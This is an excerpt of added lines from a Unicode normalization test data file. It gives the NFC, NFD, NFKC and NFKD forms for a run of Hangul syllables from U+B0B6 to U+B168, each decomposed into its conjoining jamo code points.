+{ source: [0xB0B6], NFC: [0xB0B6], NFD: [0x1102, 0x1162, 0x11A9], NFKC: [0xB0B6], NFKD: [0x1102, 0x1162, 0x11A9] },
+{ source: [0xB0B7], NFC: [0xB0B7], NFD: [0x1102, 0x1162, 0x11AA], NFKC: [0xB0B7], NFKD: [0x1102, 0x1162, 0x11AA] },
+{ source: [0xB0B8], NFC: [0xB0B8], NFD: [0x1102, 0x1162, 0x11AB], NFKC: [0xB0B8], NFKD: [0x1102, 0x1162, 0x11AB] },
+{ source: [0xB0B9], NFC: [0xB0B9], NFD: [0x1102, 0x1162, 0x11AC], NFKC: [0xB0B9], NFKD: [0x1102, 0x1162, 0x11AC] },
+{ source: [0xB0BA], NFC: [0xB0BA], NFD: [0x1102, 0x1162, 0x11AD], NFKC: [0xB0BA], NFKD: [0x1102, 0x1162, 0x11AD] },
+{ source: [0xB0BB], NFC: [0xB0BB], NFD: [0x1102, 0x1162, 0x11AE], NFKC: [0xB0BB], NFKD: [0x1102, 0x1162, 0x11AE] },
+{ source: [0xB0BC], NFC: [0xB0BC], NFD: [0x1102, 0x1162, 0x11AF], NFKC: [0xB0BC], NFKD: [0x1102, 0x1162, 0x11AF] },
+{ source: [0xB0BD], NFC: [0xB0BD], NFD: [0x1102, 0x1162, 0x11B0], NFKC: [0xB0BD], NFKD: [0x1102, 0x1162, 0x11B0] },
+{ source: [0xB0BE], NFC: [0xB0BE], NFD: [0x1102, 0x1162, 0x11B1], NFKC: [0xB0BE], NFKD: [0x1102, 0x1162, 0x11B1] },
+{ source: [0xB0BF], NFC: [0xB0BF], NFD: [0x1102, 0x1162, 0x11B2], NFKC: [0xB0BF], NFKD: [0x1102, 0x1162, 0x11B2] },
+{ source: [0xB0C0], NFC: [0xB0C0], NFD: [0x1102, 0x1162, 0x11B3], NFKC: [0xB0C0], NFKD: [0x1102, 0x1162, 0x11B3] },
+{ source: [0xB0C1], NFC: [0xB0C1], NFD: [0x1102, 0x1162, 0x11B4], NFKC: [0xB0C1], NFKD: [0x1102, 0x1162, 0x11B4] },
+{ source: [0xB0C2], NFC: [0xB0C2], NFD: [0x1102, 0x1162, 0x11B5], NFKC: [0xB0C2], NFKD: [0x1102, 0x1162, 0x11B5] },
+{ source: [0xB0C3], NFC: [0xB0C3], NFD: [0x1102, 0x1162, 0x11B6], NFKC: [0xB0C3], NFKD: [0x1102, 0x1162, 0x11B6] },
+{ source: [0xB0C4], NFC: [0xB0C4], NFD: [0x1102, 0x1162, 0x11B7], NFKC: [0xB0C4], NFKD: [0x1102, 0x1162, 0x11B7] },
+{ source: [0xB0C5], NFC: [0xB0C5], NFD: [0x1102, 0x1162, 0x11B8], NFKC: [0xB0C5], NFKD: [0x1102, 0x1162, 0x11B8] },
+{ source: [0xB0C6], NFC: [0xB0C6], NFD: [0x1102, 0x1162, 0x11B9], NFKC: [0xB0C6], NFKD: [0x1102, 0x1162, 0x11B9] },
+{ source: [0xB0C7], NFC: [0xB0C7], NFD: [0x1102, 0x1162, 0x11BA], NFKC: [0xB0C7], NFKD: [0x1102, 0x1162, 0x11BA] },
+{ source: [0xB0C8], NFC: [0xB0C8], NFD: [0x1102, 0x1162, 0x11BB], NFKC: [0xB0C8], NFKD: [0x1102, 0x1162, 0x11BB] },
+{ source: [0xB0C9], NFC: [0xB0C9], NFD: [0x1102, 0x1162, 0x11BC], NFKC: [0xB0C9], NFKD: [0x1102, 0x1162, 0x11BC] },
+{ source: [0xB0CA], NFC: [0xB0CA], NFD: [0x1102, 0x1162, 0x11BD], NFKC: [0xB0CA], NFKD: [0x1102, 0x1162, 0x11BD] },
+{ source: [0xB0CB], NFC: [0xB0CB], NFD: [0x1102, 0x1162, 0x11BE], NFKC: [0xB0CB], NFKD: [0x1102, 0x1162, 0x11BE] },
+{ source: [0xB0CC], NFC: [0xB0CC], NFD: [0x1102, 0x1162, 0x11BF], NFKC: [0xB0CC], NFKD: [0x1102, 0x1162, 0x11BF] },
+{ source: [0xB0CD], NFC: [0xB0CD], NFD: [0x1102, 0x1162, 0x11C0], NFKC: [0xB0CD], NFKD: [0x1102, 0x1162, 0x11C0] },
+{ source: [0xB0CE], NFC: [0xB0CE], NFD: [0x1102, 0x1162, 0x11C1], NFKC: [0xB0CE], NFKD: [0x1102, 0x1162, 0x11C1] },
+{ source: [0xB0CF], NFC: [0xB0CF], NFD: [0x1102, 0x1162, 0x11C2], NFKC: [0xB0CF], NFKD: [0x1102, 0x1162, 0x11C2] },
+{ source: [0xB0D0], NFC: [0xB0D0], NFD: [0x1102, 0x1163], NFKC: [0xB0D0], NFKD: [0x1102, 0x1163] },
+{ source: [0xB0D1], NFC: [0xB0D1], NFD: [0x1102, 0x1163, 0x11A8], NFKC: [0xB0D1], NFKD: [0x1102, 0x1163, 0x11A8] },
+{ source: [0xB0D2], NFC: [0xB0D2], NFD: [0x1102, 0x1163, 0x11A9], NFKC: [0xB0D2], NFKD: [0x1102, 0x1163, 0x11A9] },
+{ source: [0xB0D3], NFC: [0xB0D3], NFD: [0x1102, 0x1163, 0x11AA], NFKC: [0xB0D3], NFKD: [0x1102, 0x1163, 0x11AA] },
+{ source: [0xB0D4], NFC: [0xB0D4], NFD: [0x1102, 0x1163, 0x11AB], NFKC: [0xB0D4], NFKD: [0x1102, 0x1163, 0x11AB] },
+{ source: [0xB0D5], NFC: [0xB0D5], NFD: [0x1102, 0x1163, 0x11AC], NFKC: [0xB0D5], NFKD: [0x1102, 0x1163, 0x11AC] },
+{ source: [0xB0D6], NFC: [0xB0D6], NFD: [0x1102, 0x1163, 0x11AD], NFKC: [0xB0D6], NFKD: [0x1102, 0x1163, 0x11AD] },
+{ source: [0xB0D7], NFC: [0xB0D7], NFD: [0x1102, 0x1163, 0x11AE], NFKC: [0xB0D7], NFKD: [0x1102, 0x1163, 0x11AE] },
+{ source: [0xB0D8], NFC: [0xB0D8], NFD: [0x1102, 0x1163, 0x11AF], NFKC: [0xB0D8], NFKD: [0x1102, 0x1163, 0x11AF] },
+{ source: [0xB0D9], NFC: [0xB0D9], NFD: [0x1102, 0x1163, 0x11B0], NFKC: [0xB0D9], NFKD: [0x1102, 0x1163, 0x11B0] },
+{ source: [0xB0DA], NFC: [0xB0DA], NFD: [0x1102, 0x1163, 0x11B1], NFKC: [0xB0DA], NFKD: [0x1102, 0x1163, 0x11B1] },
+{ source: [0xB0DB], NFC: [0xB0DB], NFD: [0x1102, 0x1163, 0x11B2], NFKC: [0xB0DB], NFKD: [0x1102, 0x1163, 0x11B2] },
+{ source: [0xB0DC], NFC: [0xB0DC], NFD: [0x1102, 0x1163, 0x11B3], NFKC: [0xB0DC], NFKD: [0x1102, 0x1163, 0x11B3] },
+{ source: [0xB0DD], NFC: [0xB0DD], NFD: [0x1102, 0x1163, 0x11B4], NFKC: [0xB0DD], NFKD: [0x1102, 0x1163, 0x11B4] },
+{ source: [0xB0DE], NFC: [0xB0DE], NFD: [0x1102, 0x1163, 0x11B5], NFKC: [0xB0DE], NFKD: [0x1102, 0x1163, 0x11B5] },
+{ source: [0xB0DF], NFC: [0xB0DF], NFD: [0x1102, 0x1163, 0x11B6], NFKC: [0xB0DF], NFKD: [0x1102, 0x1163, 0x11B6] },
+{ source: [0xB0E0], NFC: [0xB0E0], NFD: [0x1102, 0x1163, 0x11B7], NFKC: [0xB0E0], NFKD: [0x1102, 0x1163, 0x11B7] },
+{ source: [0xB0E1], NFC: [0xB0E1], NFD: [0x1102, 0x1163, 0x11B8], NFKC: [0xB0E1], NFKD: [0x1102, 0x1163, 0x11B8] },
+{ source: [0xB0E2], NFC: [0xB0E2], NFD: [0x1102, 0x1163, 0x11B9], NFKC: [0xB0E2], NFKD: [0x1102, 0x1163, 0x11B9] },
+{ source: [0xB0E3], NFC: [0xB0E3], NFD: [0x1102, 0x1163, 0x11BA], NFKC: [0xB0E3], NFKD: [0x1102, 0x1163, 0x11BA] },
+{ source: [0xB0E4], NFC: [0xB0E4], NFD: [0x1102, 0x1163, 0x11BB], NFKC: [0xB0E4], NFKD: [0x1102, 0x1163, 0x11BB] },
+{ source: [0xB0E5], NFC: [0xB0E5], NFD: [0x1102, 0x1163, 0x11BC], NFKC: [0xB0E5], NFKD: [0x1102, 0x1163, 0x11BC] },
+{ source: [0xB0E6], NFC: [0xB0E6], NFD: [0x1102, 0x1163, 0x11BD], NFKC: [0xB0E6], NFKD: [0x1102, 0x1163, 0x11BD] },
+{ source: [0xB0E7], NFC: [0xB0E7], NFD: [0x1102, 0x1163, 0x11BE], NFKC: [0xB0E7], NFKD: [0x1102, 0x1163, 0x11BE] },
+{ source: [0xB0E8], NFC: [0xB0E8], NFD: [0x1102, 0x1163, 0x11BF], NFKC: [0xB0E8], NFKD: [0x1102, 0x1163, 0x11BF] },
+{ source: [0xB0E9], NFC: [0xB0E9], NFD: [0x1102, 0x1163, 0x11C0], NFKC: [0xB0E9], NFKD: [0x1102, 0x1163, 0x11C0] },
+{ source: [0xB0EA], NFC: [0xB0EA], NFD: [0x1102, 0x1163, 0x11C1], NFKC: [0xB0EA], NFKD: [0x1102, 0x1163, 0x11C1] },
+{ source: [0xB0EB], NFC: [0xB0EB], NFD: [0x1102, 0x1163, 0x11C2], NFKC: [0xB0EB], NFKD: [0x1102, 0x1163, 0x11C2] },
+{ source: [0xB0EC], NFC: [0xB0EC], NFD: [0x1102, 0x1164], NFKC: [0xB0EC], NFKD: [0x1102, 0x1164] },
+{ source: [0xB0ED], NFC: [0xB0ED], NFD: [0x1102, 0x1164, 0x11A8], NFKC: [0xB0ED], NFKD: [0x1102, 0x1164, 0x11A8] },
+{ source: [0xB0EE], NFC: [0xB0EE], NFD: [0x1102, 0x1164, 0x11A9], NFKC: [0xB0EE], NFKD: [0x1102, 0x1164, 0x11A9] },
+{ source: [0xB0EF], NFC: [0xB0EF], NFD: [0x1102, 0x1164, 0x11AA], NFKC: [0xB0EF], NFKD: [0x1102, 0x1164, 0x11AA] },
+{ source: [0xB0F0], NFC: [0xB0F0], NFD: [0x1102, 0x1164, 0x11AB], NFKC: [0xB0F0], NFKD: [0x1102, 0x1164, 0x11AB] },
+{ source: [0xB0F1], NFC: [0xB0F1], NFD: [0x1102, 0x1164, 0x11AC], NFKC: [0xB0F1], NFKD: [0x1102, 0x1164, 0x11AC] },
+{ source: [0xB0F2], NFC: [0xB0F2], NFD: [0x1102, 0x1164, 0x11AD], NFKC: [0xB0F2], NFKD: [0x1102, 0x1164, 0x11AD] },
+{ source: [0xB0F3], NFC: [0xB0F3], NFD: [0x1102, 0x1164, 0x11AE], NFKC: [0xB0F3], NFKD: [0x1102, 0x1164, 0x11AE] },
+{ source: [0xB0F4], NFC: [0xB0F4], NFD: [0x1102, 0x1164, 0x11AF], NFKC: [0xB0F4], NFKD: [0x1102, 0x1164, 0x11AF] },
+{ source: [0xB0F5], NFC: [0xB0F5], NFD: [0x1102, 0x1164, 0x11B0], NFKC: [0xB0F5], NFKD: [0x1102, 0x1164, 0x11B0] },
+{ source: [0xB0F6], NFC: [0xB0F6], NFD: [0x1102, 0x1164, 0x11B1], NFKC: [0xB0F6], NFKD: [0x1102, 0x1164, 0x11B1] },
+{ source: [0xB0F7], NFC: [0xB0F7], NFD: [0x1102, 0x1164, 0x11B2], NFKC: [0xB0F7], NFKD: [0x1102, 0x1164, 0x11B2] },
+{ source: [0xB0F8], NFC: [0xB0F8], NFD: [0x1102, 0x1164, 0x11B3], NFKC: [0xB0F8], NFKD: [0x1102, 0x1164, 0x11B3] },
+{ source: [0xB0F9], NFC: [0xB0F9], NFD: [0x1102, 0x1164, 0x11B4], NFKC: [0xB0F9], NFKD: [0x1102, 0x1164, 0x11B4] },
+{ source: [0xB0FA], NFC: [0xB0FA], NFD: [0x1102, 0x1164, 0x11B5], NFKC: [0xB0FA], NFKD: [0x1102, 0x1164, 0x11B5] },
+{ source: [0xB0FB], NFC: [0xB0FB], NFD: [0x1102, 0x1164, 0x11B6], NFKC: [0xB0FB], NFKD: [0x1102, 0x1164, 0x11B6] },
+{ source: [0xB0FC], NFC: [0xB0FC], NFD: [0x1102, 0x1164, 0x11B7], NFKC: [0xB0FC], NFKD: [0x1102, 0x1164, 0x11B7] },
+{ source: [0xB0FD], NFC: [0xB0FD], NFD: [0x1102, 0x1164, 0x11B8], NFKC: [0xB0FD], NFKD: [0x1102, 0x1164, 0x11B8] },
+{ source: [0xB0FE], NFC: [0xB0FE], NFD: [0x1102, 0x1164, 0x11B9], NFKC: [0xB0FE], NFKD: [0x1102, 0x1164, 0x11B9] },
+{ source: [0xB0FF], NFC: [0xB0FF], NFD: [0x1102, 0x1164, 0x11BA], NFKC: [0xB0FF], NFKD: [0x1102, 0x1164, 0x11BA] },
+{ source: [0xB100], NFC: [0xB100], NFD: [0x1102, 0x1164, 0x11BB], NFKC: [0xB100], NFKD: [0x1102, 0x1164, 0x11BB] },
+{ source: [0xB101], NFC: [0xB101], NFD: [0x1102, 0x1164, 0x11BC], NFKC: [0xB101], NFKD: [0x1102, 0x1164, 0x11BC] },
+{ source: [0xB102], NFC: [0xB102], NFD: [0x1102, 0x1164, 0x11BD], NFKC: [0xB102], NFKD: [0x1102, 0x1164, 0x11BD] },
+{ source: [0xB103], NFC: [0xB103], NFD: [0x1102, 0x1164, 0x11BE], NFKC: [0xB103], NFKD: [0x1102, 0x1164, 0x11BE] },
+{ source: [0xB104], NFC: [0xB104], NFD: [0x1102, 0x1164, 0x11BF], NFKC: [0xB104], NFKD: [0x1102, 0x1164, 0x11BF] },
+{ source: [0xB105], NFC: [0xB105], NFD: [0x1102, 0x1164, 0x11C0], NFKC: [0xB105], NFKD: [0x1102, 0x1164, 0x11C0] },
+{ source: [0xB106], NFC: [0xB106], NFD: [0x1102, 0x1164, 0x11C1], NFKC: [0xB106], NFKD: [0x1102, 0x1164, 0x11C1] },
+{ source: [0xB107], NFC: [0xB107], NFD: [0x1102, 0x1164, 0x11C2], NFKC: [0xB107], NFKD: [0x1102, 0x1164, 0x11C2] },
+{ source: [0xB108], NFC: [0xB108], NFD: [0x1102, 0x1165], NFKC: [0xB108], NFKD: [0x1102, 0x1165] },
+{ source: [0xB109], NFC: [0xB109], NFD: [0x1102, 0x1165, 0x11A8], NFKC: [0xB109], NFKD: [0x1102, 0x1165, 0x11A8] },
+{ source: [0xB10A], NFC: [0xB10A], NFD: [0x1102, 0x1165, 0x11A9], NFKC: [0xB10A], NFKD: [0x1102, 0x1165, 0x11A9] },
+{ source: [0xB10B], NFC: [0xB10B], NFD: [0x1102, 0x1165, 0x11AA], NFKC: [0xB10B], NFKD: [0x1102, 0x1165, 0x11AA] },
+{ source: [0xB10C], NFC: [0xB10C], NFD: [0x1102, 0x1165, 0x11AB], NFKC: [0xB10C], NFKD: [0x1102, 0x1165, 0x11AB] },
+{ source: [0xB10D], NFC: [0xB10D], NFD: [0x1102, 0x1165, 0x11AC], NFKC: [0xB10D], NFKD: [0x1102, 0x1165, 0x11AC] },
+{ source: [0xB10E], NFC: [0xB10E], NFD: [0x1102, 0x1165, 0x11AD], NFKC: [0xB10E], NFKD: [0x1102, 0x1165, 0x11AD] },
+{ source: [0xB10F], NFC: [0xB10F], NFD: [0x1102, 0x1165, 0x11AE], NFKC: [0xB10F], NFKD: [0x1102, 0x1165, 0x11AE] },
+{ source: [0xB110], NFC: [0xB110], NFD: [0x1102, 0x1165, 0x11AF], NFKC: [0xB110], NFKD: [0x1102, 0x1165, 0x11AF] },
+{ source: [0xB111], NFC: [0xB111], NFD: [0x1102, 0x1165, 0x11B0], NFKC: [0xB111], NFKD: [0x1102, 0x1165, 0x11B0] },
+{ source: [0xB112], NFC: [0xB112], NFD: [0x1102, 0x1165, 0x11B1], NFKC: [0xB112], NFKD: [0x1102, 0x1165, 0x11B1] },
+{ source: [0xB113], NFC: [0xB113], NFD: [0x1102, 0x1165, 0x11B2], NFKC: [0xB113], NFKD: [0x1102, 0x1165, 0x11B2] },
+{ source: [0xB114], NFC: [0xB114], NFD: [0x1102, 0x1165, 0x11B3], NFKC: [0xB114], NFKD: [0x1102, 0x1165, 0x11B3] },
+{ source: [0xB115], NFC: [0xB115], NFD: [0x1102, 0x1165, 0x11B4], NFKC: [0xB115], NFKD: [0x1102, 0x1165, 0x11B4] },
+{ source: [0xB116], NFC: [0xB116], NFD: [0x1102, 0x1165, 0x11B5], NFKC: [0xB116], NFKD: [0x1102, 0x1165, 0x11B5] },
+{ source: [0xB117], NFC: [0xB117], NFD: [0x1102, 0x1165, 0x11B6], NFKC: [0xB117], NFKD: [0x1102, 0x1165, 0x11B6] },
+{ source: [0xB118], NFC: [0xB118], NFD: [0x1102, 0x1165, 0x11B7], NFKC: [0xB118], NFKD: [0x1102, 0x1165, 0x11B7] },
+{ source: [0xB119], NFC: [0xB119], NFD: [0x1102, 0x1165, 0x11B8], NFKC: [0xB119], NFKD: [0x1102, 0x1165, 0x11B8] },
+{ source: [0xB11A], NFC: [0xB11A], NFD: [0x1102, 0x1165, 0x11B9], NFKC: [0xB11A], NFKD: [0x1102, 0x1165, 0x11B9] },
+{ source: [0xB11B], NFC: [0xB11B], NFD: [0x1102, 0x1165, 0x11BA], NFKC: [0xB11B], NFKD: [0x1102, 0x1165, 0x11BA] },
+{ source: [0xB11C], NFC: [0xB11C], NFD: [0x1102, 0x1165, 0x11BB], NFKC: [0xB11C], NFKD: [0x1102, 0x1165, 0x11BB] },
+{ source: [0xB11D], NFC: [0xB11D], NFD: [0x1102, 0x1165, 0x11BC], NFKC: [0xB11D], NFKD: [0x1102, 0x1165, 0x11BC] },
+{ source: [0xB11E], NFC: [0xB11E], NFD: [0x1102, 0x1165, 0x11BD], NFKC: [0xB11E], NFKD: [0x1102, 0x1165, 0x11BD] },
+{ source: [0xB11F], NFC: [0xB11F], NFD: [0x1102, 0x1165, 0x11BE], NFKC: [0xB11F], NFKD: [0x1102, 0x1165, 0x11BE] },
+{ source: [0xB120], NFC: [0xB120], NFD: [0x1102, 0x1165, 0x11BF], NFKC: [0xB120], NFKD: [0x1102, 0x1165, 0x11BF] },
+{ source: [0xB121], NFC: [0xB121], NFD: [0x1102, 0x1165, 0x11C0], NFKC: [0xB121], NFKD: [0x1102, 0x1165, 0x11C0] },
+{ source: [0xB122], NFC: [0xB122], NFD: [0x1102, 0x1165, 0x11C1], NFKC: [0xB122], NFKD: [0x1102, 0x1165, 0x11C1] },
+{ source: [0xB123], NFC: [0xB123], NFD: [0x1102, 0x1165, 0x11C2], NFKC: [0xB123], NFKD: [0x1102, 0x1165, 0x11C2] },
+{ source: [0xB124], NFC: [0xB124], NFD: [0x1102, 0x1166], NFKC: [0xB124], NFKD: [0x1102, 0x1166] },
+{ source: [0xB125], NFC: [0xB125], NFD: [0x1102, 0x1166, 0x11A8], NFKC: [0xB125], NFKD: [0x1102, 0x1166, 0x11A8] },
+{ source: [0xB126], NFC: [0xB126], NFD: [0x1102, 0x1166, 0x11A9], NFKC: [0xB126], NFKD: [0x1102, 0x1166, 0x11A9] },
+{ source: [0xB127], NFC: [0xB127], NFD: [0x1102, 0x1166, 0x11AA], NFKC: [0xB127], NFKD: [0x1102, 0x1166, 0x11AA] },
+{ source: [0xB128], NFC: [0xB128], NFD: [0x1102, 0x1166, 0x11AB], NFKC: [0xB128], NFKD: [0x1102, 0x1166, 0x11AB] },
+{ source: [0xB129], NFC: [0xB129], NFD: [0x1102, 0x1166, 0x11AC], NFKC: [0xB129], NFKD: [0x1102, 0x1166, 0x11AC] },
+{ source: [0xB12A], NFC: [0xB12A], NFD: [0x1102, 0x1166, 0x11AD], NFKC: [0xB12A], NFKD: [0x1102, 0x1166, 0x11AD] },
+{ source: [0xB12B], NFC: [0xB12B], NFD: [0x1102, 0x1166, 0x11AE], NFKC: [0xB12B], NFKD: [0x1102, 0x1166, 0x11AE] },
+{ source: [0xB12C], NFC: [0xB12C], NFD: [0x1102, 0x1166, 0x11AF], NFKC: [0xB12C], NFKD: [0x1102, 0x1166, 0x11AF] },
+{ source: [0xB12D], NFC: [0xB12D], NFD: [0x1102, 0x1166, 0x11B0], NFKC: [0xB12D], NFKD: [0x1102, 0x1166, 0x11B0] },
+{ source: [0xB12E], NFC: [0xB12E], NFD: [0x1102, 0x1166, 0x11B1], NFKC: [0xB12E], NFKD: [0x1102, 0x1166, 0x11B1] },
+{ source: [0xB12F], NFC: [0xB12F], NFD: [0x1102, 0x1166, 0x11B2], NFKC: [0xB12F], NFKD: [0x1102, 0x1166, 0x11B2] },
+{ source: [0xB130], NFC: [0xB130], NFD: [0x1102, 0x1166, 0x11B3], NFKC: [0xB130], NFKD: [0x1102, 0x1166, 0x11B3] },
+{ source: [0xB131], NFC: [0xB131], NFD: [0x1102, 0x1166, 0x11B4], NFKC: [0xB131], NFKD: [0x1102, 0x1166, 0x11B4] },
+{ source: [0xB132], NFC: [0xB132], NFD: [0x1102, 0x1166, 0x11B5], NFKC: [0xB132], NFKD: [0x1102, 0x1166, 0x11B5] },
+{ source: [0xB133], NFC: [0xB133], NFD: [0x1102, 0x1166, 0x11B6], NFKC: [0xB133], NFKD: [0x1102, 0x1166, 0x11B6] },
+{ source: [0xB134], NFC: [0xB134], NFD: [0x1102, 0x1166, 0x11B7], NFKC: [0xB134], NFKD: [0x1102, 0x1166, 0x11B7] },
+{ source: [0xB135], NFC: [0xB135], NFD: [0x1102, 0x1166, 0x11B8], NFKC: [0xB135], NFKD: [0x1102, 0x1166, 0x11B8] },
+{ source: [0xB136], NFC: [0xB136], NFD: [0x1102, 0x1166, 0x11B9], NFKC: [0xB136], NFKD: [0x1102, 0x1166, 0x11B9] },
+{ source: [0xB137], NFC: [0xB137], NFD: [0x1102, 0x1166, 0x11BA], NFKC: [0xB137], NFKD: [0x1102, 0x1166, 0x11BA] },
+{ source: [0xB138], NFC: [0xB138], NFD: [0x1102, 0x1166, 0x11BB], NFKC: [0xB138], NFKD: [0x1102, 0x1166, 0x11BB] },
+{ source: [0xB139], NFC: [0xB139], NFD: [0x1102, 0x1166, 0x11BC], NFKC: [0xB139], NFKD: [0x1102, 0x1166, 0x11BC] },
+{ source: [0xB13A], NFC: [0xB13A], NFD: [0x1102, 0x1166, 0x11BD], NFKC: [0xB13A], NFKD: [0x1102, 0x1166, 0x11BD] },
+{ source: [0xB13B], NFC: [0xB13B], NFD: [0x1102, 0x1166, 0x11BE], NFKC: [0xB13B], NFKD: [0x1102, 0x1166, 0x11BE] },
+{ source: [0xB13C], NFC: [0xB13C], NFD: [0x1102, 0x1166, 0x11BF], NFKC: [0xB13C], NFKD: [0x1102, 0x1166, 0x11BF] },
+{ source: [0xB13D], NFC: [0xB13D], NFD: [0x1102, 0x1166, 0x11C0], NFKC: [0xB13D], NFKD: [0x1102, 0x1166, 0x11C0] },
+{ source: [0xB13E], NFC: [0xB13E], NFD: [0x1102, 0x1166, 0x11C1], NFKC: [0xB13E], NFKD: [0x1102, 0x1166, 0x11C1] },
+{ source: [0xB13F], NFC: [0xB13F], NFD: [0x1102, 0x1166, 0x11C2], NFKC: [0xB13F], NFKD: [0x1102, 0x1166, 0x11C2] },
+{ source: [0xB140], NFC: [0xB140], NFD: [0x1102, 0x1167], NFKC: [0xB140], NFKD: [0x1102, 0x1167] },
+{ source: [0xB141], NFC: [0xB141], NFD: [0x1102, 0x1167, 0x11A8], NFKC: [0xB141], NFKD: [0x1102, 0x1167, 0x11A8] },
+{ source: [0xB142], NFC: [0xB142], NFD: [0x1102, 0x1167, 0x11A9], NFKC: [0xB142], NFKD: [0x1102, 0x1167, 0x11A9] },
+{ source: [0xB143], NFC: [0xB143], NFD: [0x1102, 0x1167, 0x11AA], NFKC: [0xB143], NFKD: [0x1102, 0x1167, 0x11AA] },
+{ source: [0xB144], NFC: [0xB144], NFD: [0x1102, 0x1167, 0x11AB], NFKC: [0xB144], NFKD: [0x1102, 0x1167, 0x11AB] },
+{ source: [0xB145], NFC: [0xB145], NFD: [0x1102, 0x1167, 0x11AC], NFKC: [0xB145], NFKD: [0x1102, 0x1167, 0x11AC] },
+{ source: [0xB146], NFC: [0xB146], NFD: [0x1102, 0x1167, 0x11AD], NFKC: [0xB146], NFKD: [0x1102, 0x1167, 0x11AD] },
+{ source: [0xB147], NFC: [0xB147], NFD: [0x1102, 0x1167, 0x11AE], NFKC: [0xB147], NFKD: [0x1102, 0x1167, 0x11AE] },
+{ source: [0xB148], NFC: [0xB148], NFD: [0x1102, 0x1167, 0x11AF], NFKC: [0xB148], NFKD: [0x1102, 0x1167, 0x11AF] },
+{ source: [0xB149], NFC: [0xB149], NFD: [0x1102, 0x1167, 0x11B0], NFKC: [0xB149], NFKD: [0x1102, 0x1167, 0x11B0] },
+{ source: [0xB14A], NFC: [0xB14A], NFD: [0x1102, 0x1167, 0x11B1], NFKC: [0xB14A], NFKD: [0x1102, 0x1167, 0x11B1] },
+{ source: [0xB14B], NFC: [0xB14B], NFD: [0x1102, 0x1167, 0x11B2], NFKC: [0xB14B], NFKD: [0x1102, 0x1167, 0x11B2] },
+{ source: [0xB14C], NFC: [0xB14C], NFD: [0x1102, 0x1167, 0x11B3], NFKC: [0xB14C], NFKD: [0x1102, 0x1167, 0x11B3] },
+{ source: [0xB14D], NFC: [0xB14D], NFD: [0x1102, 0x1167, 0x11B4], NFKC: [0xB14D], NFKD: [0x1102, 0x1167, 0x11B4] },
+{ source: [0xB14E], NFC: [0xB14E], NFD: [0x1102, 0x1167, 0x11B5], NFKC: [0xB14E], NFKD: [0x1102, 0x1167, 0x11B5] },
+{ source: [0xB14F], NFC: [0xB14F], NFD: [0x1102, 0x1167, 0x11B6], NFKC: [0xB14F], NFKD: [0x1102, 0x1167, 0x11B6] },
+{ source: [0xB150], NFC: [0xB150], NFD: [0x1102, 0x1167, 0x11B7], NFKC: [0xB150], NFKD: [0x1102, 0x1167, 0x11B7] },
+{ source: [0xB151], NFC: [0xB151], NFD: [0x1102, 0x1167, 0x11B8], NFKC: [0xB151], NFKD: [0x1102, 0x1167, 0x11B8] },
+{ source: [0xB152], NFC: [0xB152], NFD: [0x1102, 0x1167, 0x11B9], NFKC: [0xB152], NFKD: [0x1102, 0x1167, 0x11B9] },
+{ source: [0xB153], NFC: [0xB153], NFD: [0x1102, 0x1167, 0x11BA], NFKC: [0xB153], NFKD: [0x1102, 0x1167, 0x11BA] },
+{ source: [0xB154], NFC: [0xB154], NFD: [0x1102, 0x1167, 0x11BB], NFKC: [0xB154], NFKD: [0x1102, 0x1167, 0x11BB] },
+{ source: [0xB155], NFC: [0xB155], NFD: [0x1102, 0x1167, 0x11BC], NFKC: [0xB155], NFKD: [0x1102, 0x1167, 0x11BC] },
+{ source: [0xB156], NFC: [0xB156], NFD: [0x1102, 0x1167, 0x11BD], NFKC: [0xB156], NFKD: [0x1102, 0x1167, 0x11BD] },
+{ source: [0xB157], NFC: [0xB157], NFD: [0x1102, 0x1167, 0x11BE], NFKC: [0xB157], NFKD: [0x1102, 0x1167, 0x11BE] },
+{ source: [0xB158], NFC: [0xB158], NFD: [0x1102, 0x1167, 0x11BF], NFKC: [0xB158], NFKD: [0x1102, 0x1167, 0x11BF] },
+{ source: [0xB159], NFC: [0xB159], NFD: [0x1102, 0x1167, 0x11C0], NFKC: [0xB159], NFKD: [0x1102, 0x1167, 0x11C0] },
+{ source: [0xB15A], NFC: [0xB15A], NFD: [0x1102, 0x1167, 0x11C1], NFKC: [0xB15A], NFKD: [0x1102, 0x1167, 0x11C1] },
+{ source: [0xB15B], NFC: [0xB15B], NFD: [0x1102, 0x1167, 0x11C2], NFKC: [0xB15B], NFKD: [0x1102, 0x1167, 0x11C2] },
+{ source: [0xB15C], NFC: [0xB15C], NFD: [0x1102, 0x1168], NFKC: [0xB15C], NFKD: [0x1102, 0x1168] },
+{ source: [0xB15D], NFC: [0xB15D], NFD: [0x1102, 0x1168, 0x11A8], NFKC: [0xB15D], NFKD: [0x1102, 0x1168, 0x11A8] },
+{ source: [0xB15E], NFC: [0xB15E], NFD: [0x1102, 0x1168, 0x11A9], NFKC: [0xB15E], NFKD: [0x1102, 0x1168, 0x11A9] },
+{ source: [0xB15F], NFC: [0xB15F], NFD: [0x1102, 0x1168, 0x11AA], NFKC: [0xB15F], NFKD: [0x1102, 0x1168, 0x11AA] },
+{ source: [0xB160], NFC: [0xB160], NFD: [0x1102, 0x1168, 0x11AB], NFKC: [0xB160], NFKD: [0x1102, 0x1168, 0x11AB] },
+{ source: [0xB161], NFC: [0xB161], NFD: [0x1102, 0x1168, 0x11AC], NFKC: [0xB161], NFKD: [0x1102, 0x1168, 0x11AC] },
+{ source: [0xB162], NFC: [0xB162], NFD: [0x1102, 0x1168, 0x11AD], NFKC: [0xB162], NFKD: [0x1102, 0x1168, 0x11AD] },
+{ source: [0xB163], NFC: [0xB163], NFD: [0x1102, 0x1168, 0x11AE], NFKC: [0xB163], NFKD: [0x1102, 0x1168, 0x11AE] },
+{ source: [0xB164], NFC: [0xB164], NFD: [0x1102, 0x1168, 0x11AF], NFKC: [0xB164], NFKD: [0x1102, 0x1168, 0x11AF] },
+{ source: [0xB165], NFC: [0xB165], NFD: [0x1102, 0x1168, 0x11B0], NFKC: [0xB165], NFKD: [0x1102, 0x1168, 0x11B0] },
+{ source: [0xB166], NFC: [0xB166], NFD: [0x1102, 0x1168, 0x11B1], NFKC: [0xB166], NFKD: [0x1102, 0x1168, 0x11B1] },
+{ source: [0xB167], NFC: [0xB167], NFD: [0x1102, 0x1168, 0x11B2], NFKC: [0xB167], NFKD: [0x1102, 0x1168, 0x11B2] },
+{ source: [0xB168], NFC: [0xB168], NFD: [0x1102, 0x1168, 0x11B3], NFKC: [0xB168], NFKD: [0x1102, 0x1168, 0x11B3] },
